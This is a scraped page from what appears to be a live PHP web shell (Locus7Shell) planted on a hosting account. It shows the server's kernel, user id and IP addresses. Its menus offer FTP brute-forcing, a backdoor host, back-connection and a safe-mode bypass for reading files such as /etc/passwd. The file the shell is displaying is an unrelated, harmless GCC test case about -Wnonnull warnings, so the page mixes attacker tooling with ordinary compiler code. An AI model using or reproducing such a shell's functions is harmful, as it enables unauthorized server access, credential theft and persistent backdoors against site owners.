Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wnonnull5.C (4.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR c++/86568 - -Wnonnull warnings should highlight the relevant argument
   not the closing parenthesis.
   { dg-do compile }
   { dg-options "-O2 -Wall" } */

#define NONNULL __attribute__ ((nonnull))

#if __cplusplus < 201103L
#  define nullptr __null
#endif

struct S
{
  void
  f0 (const void*) const;         // { dg-message "in a call to non-static member function 'void S::f0\\(const void\\*\\) const'" }

  void
  f1 (const void*) const;         // { dg-message "in a call to non-static member function 'void S::f1\\(const void\\*\\) const'" }

  void
  f2 (const void*) const;         // { dg-message "in a call to non-static member function 'void S::f2\\(const void\\*\\) const'" }

  NONNULL void
  f3 (const void*, const void*);  // { dg-message "in a call to function 'void S::f3\\(const void\\*, const void\\*\\)' declared 'nonnull'" }

  NONNULL void
  f4 (const void*, const void*);  // { dg-message "in a call to function 'void S::f4\\(const void\\*, const void\\*\\)' declared 'nonnull'" }

  NONNULL void
  f5 (const void*, const void*);  // { dg-message "in a call to function 'void S::f5\\\(const void\\*, const void\\*\\)' declared 'nonnull'" }

  NONNULL void
  f6 (const void*, const void*);  // { dg-message "in a call to function 'void S::f6\\\(const void\\*, const void\\*\\)' declared 'nonnull'" }
};

void warn_nullptr_this ()
{
  ((S*)nullptr)->f0 ("");        // { dg-warning "3:'this' pointer is null" "pr86568" { xfail *-*-* } }
                                 // { dg-warning "this' pointer is null" "pr86568 second variant" { target *-*-* } .-1 }
}

void warn_null_this_cst ()
{
  S* const null = 0;
  null->f1 ("");                  // { dg-warning "3:'this' pointer is null" }
}

void warn_null_this_var ()
{
  S* null = 0;
  null->f2 (&null);               // { dg-warning "3:'this' pointer is null" "pr86568" { xfail *-*-* } }
                                  // { dg-warning "'this' pointer is null" "pr86568 second variant" { target *-*-* } .-1 }
}

void warn_nullptr (S s)
{
  s.f3 (nullptr, &s);              // { dg-warning "9:argument 1 null where non-null expected" "pr86568" { xfail *-*-* } }
                                   // { dg-warning "argument 1 null where non-null expected" "pr86568 second variant" { target *-*-* } .-1 }
  s.f3 (&s, nullptr);              // { dg-warning "13:argument 2 null where non-null expected" "pr86568" { xfail *-*-* } }
                                   // { dg-warning "argument 2 null where non-null expected" "pr86568 second variant" { target *-*-* } .-1 }
}


void warn_null_cst (S s)
{
  void* const null = 0;
  s.f4 (null, &s);                 // { dg-warning "9:argument 1 null where non-null expected" }
  s.f4 (&s, null);                 // { dg-warning "13:argument 2 null where non-null expected" }
}

void warn_null_var (S s)
{
  void* null = 0;
  s.f5 (null, &s);                // { dg-warning "9:argument 1 null where non-null expected" "pr86568" { xfail *-*-* } }
                                  // { dg-warning "argument 1 null where non-null expected" "pr86568 second variant" { target *-*-* } .-1 }
  s.f5 (&s, null);                // { dg-warning "16:argument 2 null where non-null expected" "pr86568" { xfail *-*-* } }
                                  // { dg-warning "argument 2 null where non-null expected" "pr86568 second variant" { target *-*-* } .-1 }
}

void warn_null_cond (S s, void *null)
{
  if (null)
    return;

  s.f6 (null, &s);                // { dg-warning "9:argument 1 null where non-null expected" "pr86568" { xfail *-*-* } }
                                  // { dg-warning "argument 1 null where non-null expected" "pr86568 second variant" { target *-*-* } .-1 }
  s.f6 (&s, null);                // { dg-warning "13:argument 2 null where non-null expected" "pr86568" { xfail *-*-* } }
                                  // { dg-warning "argument 2 null where non-null expected" "pr86568 second variant" { target *-*-* } .-1 }
}


typedef NONNULL void Fvp (const void*, const void*);

void warn_fptr_null_cst (Fvp *p)
{
  void* const null = 0;
  p (null, "");                   // { dg-warning "6:argument 1 null where non-null expected" }
  p ("", null);                   // { dg-warning "10:argument 2 null where non-null expected" }
}

typedef NONNULL void (S::*SMemFvp) (const void*, const void*);

void warn_memfptr_null_cst (S *p, SMemFvp pmf)
{
  void* const null = 0;
  (p->*pmf) (null, "");           // { dg-warning "14:argument 1 null where non-null expected" }
  (p->*pmf) ("", null);           // { dg-warning "18:argument 2 null where non-null expected" }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0074 ]--